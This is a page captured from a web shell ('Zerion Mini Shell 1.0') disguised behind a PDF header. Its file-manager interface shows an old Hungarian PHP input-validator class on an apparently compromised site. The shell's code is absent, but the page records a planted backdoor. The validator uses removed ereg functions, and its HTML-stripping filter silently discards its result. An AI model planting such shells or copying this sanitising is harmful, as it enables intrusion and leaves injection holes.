%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/include/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/include/Inputvalidator.class.php

<?php

class Inputvalidator
{
    var $isError;
    var $error;
    var $message;
    var $filter;
    
    function Inputvalidator()
    {
        $this->init();
    }

    function init()
    {
        $this->isError = false;
        $this->error = array();
        $this->message = array();
        $this->defineMessages();    
        $this->defineFilters();    
    }
    
    function defineMessages()
    {
        $this->message['notValidLoginName'] = 
            "A login név minimum 4, maximum 20 karakter lehet, csak számot és ékezet nélküli kisbetüt tartalmazhat.";

        $this->message['requiredFieldHasNoValue'] = 
            "Egy szüksédes adat nincs megadva.";    
    }
    
    function defineFilters()
    {
        $this->filter = array(
            "email" => "validateEmail", 
            "int" => "validateInteger", 
            "float" => "validateFloat",
            "stripHtml" => "stripHtml", 
            "login" => "validateLoginName", 
            "required" => "validateIsSet", 
            "date" => "validateDate"
            );
    }
    
    function v($data, $filter, $msg = '')
    {
        $filter = explode(',', $filter);
       
        if(trim($filter[0]) == 'required' || !empty($data))
        {
            $i = 0;
            foreach($filter AS $val)
            {
                $val = trim($val);
                
                if(is_array($msg))
                {
                    $m = !empty($msg[$i]) ? $msg[$i] : '';
                }
                else
                {
                    $m = '';
                }
                
                switch($val)
                {
                    case 'email' : $this->validateEmail($data, $m); break;
                    case 'stripHtml' : $this->stripHtml($data); break;
                    case 'int' : $this->validateInteger($data, $m); break;
                    case 'float' : 
                        $data = str_replace(",", ".", $data);
                        $this->validateFloat($data, $m); 
                    break;
                    case 'login' : $this->validateLoginName($data, $m); break;
                    case 'required' : $this->validateIsSet($data, $m); break;
                    case 'date' : $this->validateDate($data); break;
                }
                $i++;
            }
        }
        return $data;
    }
    
    function validateLoginName($name, $msg = '')
    {
        if(empty($name))
        {
            return $name;
        }

        if(!ereg("^[a-z0-9]{4,20}$", $name))
        {
            if(empty($msg))
            {
                $msg = $this->message['notValidLoginName'];
            }
            $this->error[] = $msg;
            $this->isError = true;
        }
        return $name;
    }
    
    function stripHtml($data)
    {
        return htmlspecialchars(strip_tags($data));
    }
    
    function validateIsSet($data, $msg = '')
    {
		$data = trim($data);

        if(empty($data))
        {
            if(empty($msg))
            {
                $msg = $this->message['requiredFieldHasNoValue'];
            }
            $this->error[] = $msg;
            $this->isError = true;
        }
        return;
    }
   
    function validateInteger($data, $msg, $max = 4294967296)
    {
        if(empty($data))
        {
            return;
        }

        if(!is_numeric($data) || intval($data) != $data || $data > $max)
        {
            if(empty($msg))
            {
                $msg = "'".$data."' nem egy egész szám, vagy nagyobb mint ".number_format($max);
            }
            $this->error[] = $msg;
            $this->isError = true;
            return false;
        }
        return $data;
    }
    
    function validateFloat($data, $msg)
    {
        if(empty($data))
        {
            return;
        }

        if(!is_numeric($data))
        {
            $this->error[] = $msg;
            $this->isError = true;
            return false;
        }
        return $data;
    }
    
    function validateEmail($email, $msg = '', $tryConnect = false)
    {
        if(empty($email))
        {
            return $email;
        }
        $re = "^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$";
        if(!eregi($re, $email)) 
        {
			if(empty($msg))
            {
                $msg = 'Az e-mail cím formátuma nem megfelelő!';
            }
            $this->error[] = $msg;
            $this->isError = true;
        }

        if($tryConnect)
        {
            list($username, $domain) = split("@", $email);

            if(getmxrr($domain, $MXHost))
            {
                $ConnectAddress = $MXHost[0];
            }
            else
            {
                $ConnectAddress = $domain;
            } 

            $connect = fsockopen($ConnectAddress, 25);

            if($connect)
            {
                if(ereg("^220", $Out = fgets($connect, 1024)))
                {
                    fputs($connect, "HELO $HTTP_HOST\r\n");
                    $Out = fgets($connect, 1024);
                    fputs($connect, "MAIL FROM: <{$email}>\r\n");
                    $From = fgets($connect, 1024);
                    fputs($connect, "RCPT TO: <{$email}>\r\n");
                    $To = fgets($connect, 1024);
                    fputs($connect, "QUIT\r\n");
                    fclose($connect);

                    if(!ereg("^250", $From) || !ereg("^250", $To))
                    {
                        $this->error[] = "A(z) '".$ConnectAddress."' szerver elutasította a(z) '".$email."' címet.";
                        $this->isError = true;
                    }
                }
                else
                {
                    $this->error[] = "A(z) '".$ConnectAddress."' szerver nem válaszol.";
                    $this->isError = true;
                }
            }
            else
            {
                $this->error[] = "Nem sikerült csatlakozni a(z) '".$ConnectAddress."' mail szerverhez.";
                $this->isError = true;
            }
        }
        return $email;
    }
    
    function validateDate($date, $required = false, $msg = '') // $date: YYYY-MM-DD 
    {
        $d = explode('-', $date);
        
        if(empty($d[0]) || empty($d[1]) || empty($d[2]))
        {
            if($required)
            {
                $this->error[] = $msg;
            }
            return;
        }
        
        $date2 = date("Y-m-d", mktime(0, 0, 0, $d[1], $d[2], $d[0]));
        
        if($date != $date2)
        {
            $this->error[] = "'".$date."' nem megfelelő dátum.";
            return false;
        }
        return $date;
    }
    
    function addError($e)
    {
        $this->isError = true;
        $this->error[] = $e;
    }
    
    function printError($mode = 'get', $sep = '<br />')
    {
        if(!$this->isError)
        {
            return;
        }
        
        $msg = '';

        $i = 1;

        foreach($this->error AS $val)
        {
            $msg .= $i . '. ' . $val . $sep;
            $i++;
        }
        
        if($mode == 'show')
        {
            print $msg;
        }
        else
        {
            return $msg;
        } 
    }
}

?>

Zerion Mini Shell 1.0